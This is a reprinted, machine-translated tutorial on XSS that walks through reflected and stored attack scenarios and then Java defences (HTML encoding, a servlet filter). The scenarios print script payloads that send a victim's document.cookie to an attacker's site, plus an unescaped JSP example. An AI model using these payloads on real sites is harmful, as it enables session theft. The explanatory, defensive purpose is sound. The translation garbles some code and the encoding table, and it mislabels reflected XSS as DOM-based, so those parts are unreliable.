XSS attack processing Scheme

Source: Internet
Author: User
Tags html encode

1. Basic concepts of XSS attacks

XSS is a computer security vulnerability that often appears in web applications, allowing malicious Web users to embed code into pages that are available to other users. For example, the code includes HTML code and client script. An attacker could bypass access control by using an XSS vulnerability-such as the Origin policy (same). This type of vulnerability is widely known for being exploited by hackers to write more harmful phishing (Phishing) attacks. For cross-site scripting attacks, the hacker consensus is that cross-site scripting attacks are a new type of "buffer overflow attack", and JavaScript is the new "ShellCode".

2.

DOM Based XSS

Dom Based XSS is an attack that is based on the structure of a Web page DOM, which is characterized by a minority of people in the Strokes.

Scenario One :

When I log in to a.com, I find that some content of its page is directly displayed according to a URL called content parameter, guess it is possible to test the page processing, other languages similar:

<%@ page Langua ge= "Java" contenttype= "text/html; Charset=utf-8 " pageencoding= " UTF-8 "%>

<! Doctypehtmlpublic "-//w3c//dtd HTML 4.01 transitional//en" "HTTP://WWW.W3.ORG/TR/HTML4/LOOSE.DTD";

<HTML>

   

       <title>xss test </title>

   

    <body>

       page content: <%=request.getparameter ("content")%>

    </body>

I got it. Tom also registered the site, and know his email (or other information to receive the contact), I made a hyperlink to him, the hyperlink address is:http://www.a.com?content=<script> window.open ( "Www.b.com?param=" +document.cookie) </script> When Tom clicks on the link (assuming he's already signed in A.com), The browser will open B.Com directly, and send Tom's cookie information in a.com to B.com,b.com is the website that I built, when my website receives this information, I stole Tom. Cookie information in a.com, the cookie information may have a login password, attack success! In the process, only Tom himself was the victim. That when I enter A.com?content=<script>alert ("XSS") </script& GT in the browser, the browser shows the contents of the page in the process of executing my script, the page output XSS Word, which is attacking myself , how do I attack others and profit?

Stored XSS

Stored XSS is a storage-type XSS vulnerability, because its attack code has been stored on the server or in the database, so the victim is a lot of people.

Scenario Two :

A.com can send articles, I log in a.com post a post, the article contains malicious code, <script>window.open ("www.b.com?param=" +document.cookie) </ Script> Save the article. When Tom and Jack saw my post, when they looked at my article, they all took, their cookie information was sent to my server, attack success! In this process, the victim is more than one person.
Stored XSS Vulnerability is more harmful, the harm surface is more extensive.

XSS Defense

We are in a contradictory world, with spears there are shields. As long as there is no vulnerability in our code, the attacker will not be possible, we will make an egg that is not sewn. XSS defense has the following methods.

Perfect filtration System

Never trust the user's input. The user's input needs to be processed, allowing only valid values to be entered, and all other values filtered out.

Html encode

If in some cases we cannot strictly filter user data, we also need to convert the tags.

less-than character (<)

greater-than character (>)

&GT;

ampersand character (&)

& Amp;amp;

double-quote character (")

& Amp;quot;

space character ()

&nbsp;

any ASCII code character whose code was Greater-than or equal to 0x80

&#<NUMBER>, where <number> is the ASCII character value .

For example, user input: <script>window.location.href= "http://www.baidu.com"; </script> after saving, the final storage will be: &lt;script &gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt; When presented, the browser converts these characters into text content instead of an executable code.

Here are two ways to encode HTML.
    • Using Apache's Commons-lang.jar

      Stringescapeutils.escapehtml (str);//kanji will be converted to the corresponding ASCII code, space does not convert

  • Implement the conversion yourself, convert only part of the character

    private static String HtmlEncode (char c) {

    Switch (c) {

    Case ' & ':

    return"&amp;";

    Case ' < ':

    return"&lt;";

    Case ' > ':

    return"&gt;";

    Case ‘"‘:

    return"&quot;";

    Case ‘ ‘:

    return"&nbsp;";

    default:

    return C + "";

    }

    }

    /** Html encode conversion of incoming string str */

    Public Static String HtmlEncode (String str) {

    if   (str = =Null | | Str.trim (). Equals ("")) return str;

    StringBuilder Encodestrbuilder = new StringBuilder ();

    for (int i = 0, Len = str.length (); i < Len; i++) {

    Encodestrbuilder.append (htmlEncode(Str.charat (i)));

    }

    return encodestrbuilder.tostring ();

    }

Reprinted from: http://blog.csdn.net/ghsau/article/details/17027893

There are two Java or JSP processing scenarios available below:

Programme I
If you encounter the situation, the user's input, the output has a clear limit, and for special characters also have a clear stipulation, then you can write a xssfilter, using the above mentioned case two, the non-recommended input of the special characters to filter and clean up, including some sensitive information SQL injection, It's all going to be filtered out. Basic Filter Online, all you have to do is target your business, and then add the handling of dangerous characters.
Programme II
Think of an old saying, standing on the shoulders of giants. The second option is to stand on the shoulders of giants. Recommend an open source plug-in, Xssproject, the specific author is unknown. The corresponding source code is provided in the Googlecode. If you want to study, you can find it yourself. Let's focus on how to integrate Xssproject into our projects and make them available to us.
First of all, the project requires the introduction of Xssprotect-0.1.jar, Antlr-3.0.1.jar, Antlr-runtime-3.0.1.jar and other 3 jar packages.
Then, encapsulate the request with the code below.
<span style= "Font-family:comic Sans MS;" > Public classNewxsshttpservletrequestwrapperextendshttpservletrequestwrapper {httpservletrequest orgrequest=NULL;  PublicNewxsshttpservletrequestwrapper (HttpServletRequest request) {Super(Request); Orgrequest=request; }        /*** Override the GetParameter method to filter the parameter names and values of the parameters into XSS. <br/> * If you need to get the original value, use Super.getparametervalues (name) to get <br/> * Getparameternames,getparametervalues and GE Tparametermap may also need to overwrite*/@Override Publicstring GetParameter (string name) {System.out.println ("Value before Newxssfilter processing =" +Super. Getparametervalues (name)); String value=Super. GetParameter (Xssencode (name)); if(Value! =NULL) {Value=Xssencode (value); } System.out.println ("Newxssfilter Value after processing =" +value); returnvalue; }    /*** Override the GetHeader method to filter the parameter names and values of the parameters into XSS. <br/> * If you need to get the original value, getting <br/> getheadernames through Super.getheaders (name) may also need to overwrite*/@Override Publicstring GetHeader (string name) {String Value=Super. GetHeader (Xssencode (name)); if(Value! =NULL) {Value=Xssencode (value); }        returnvalue; }    /*** Replace half-width characters that cause XSS vulnerabilities directly with the perfect corner character * *@paramS *@return     */    Private Staticstring Xssencode (string s) {if(s = =NULL||S.isempty ()) {            returns; } StringReader Reader=NewStringReader (s); StringWriter writer=NewStringWriter (); Try{htmlparser.process (reader, writer,NewXssfilter (),true ); returnwriter.tostring (); }         Catch(NullPointerException e) {returns; }        Catch(Exception ex) {ex.printstacktrace (); }                return NULL; }    /*** Get the most original request * *@return     */     Publichttpservletrequest getorgrequest () {returnorgrequest; }    /*** Static method to get the most original request * *@return     */     Public Statichttpservletrequest getorgrequest (httpservletrequest req) {if(reqinstanceofnewxsshttpservletrequestwrapper) {            return((newxsshttpservletrequestwrapper) req). Getorgrequest (); }        returnreq; }}</span>

Then, create the filter newxssfilter.

<span style= "Font-family:comic Sans MS;" > Public classNewxssfilterImplementsFilter {filterconfig filterconfig=NULL; @Override Public voiddestroy () { This. Filterconfig =NULL; } @Override Public voidDoFilter (servletrequest request, servletresponse response, Filterchain chain)throwsIOException, servletexception {String path=((httpservletrequest) request). Getcontextpath (); String BasePath= Request.getscheme () + "://" +Request.getservername ()+ ":" + request.getserverport () + path + "/"; //HTTP Header settings Referer filteringString referer = ((httpservletrequest) request). GetHeader ("Referer");//REFRESH            if(Referer! =NULL&& Referer.indexof (BasePath) < 0{(httpservletrequest) request). Getrequestdispatcher ((httpservletreques                  T) request). Getrequesturi ()). Forward (((httpservletrequest) request), response); System.out.println ("Referer not empty, referer >>>>>>>>>>>>>>" +referer); } newxsshttpservletrequestwrapper xssrequest=NewNewxsshttpservletrequestwrapper ((httpservletrequest) request);          Chain.dofilter (xssrequest, response); } @Override Public voidInit (Filterconfig filterconfig)throwsservletexception { This. Filterconfig =Filterconfig; }            }</span>

Finally, configure the filter in Web. Xml.

    <span style= "Font-family:comic Sans MS;" ><filter>          <filter-name>XssSqlFilter</filter-name>          <filter-class> com.***.web.common.newxssfilter</filter-class>      </filter>      <filter-mapping>          <filter-name>XssSqlFilter</filter-name>          <url-pattern>/*</ url-pattern>          <dispatcher>REQUEST</dispatcher>      </filter-mapping></span>  

Reprinted from: http://blog.csdn.net/happylee6688/article/details/41314351

XSS attack processing Scheme

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.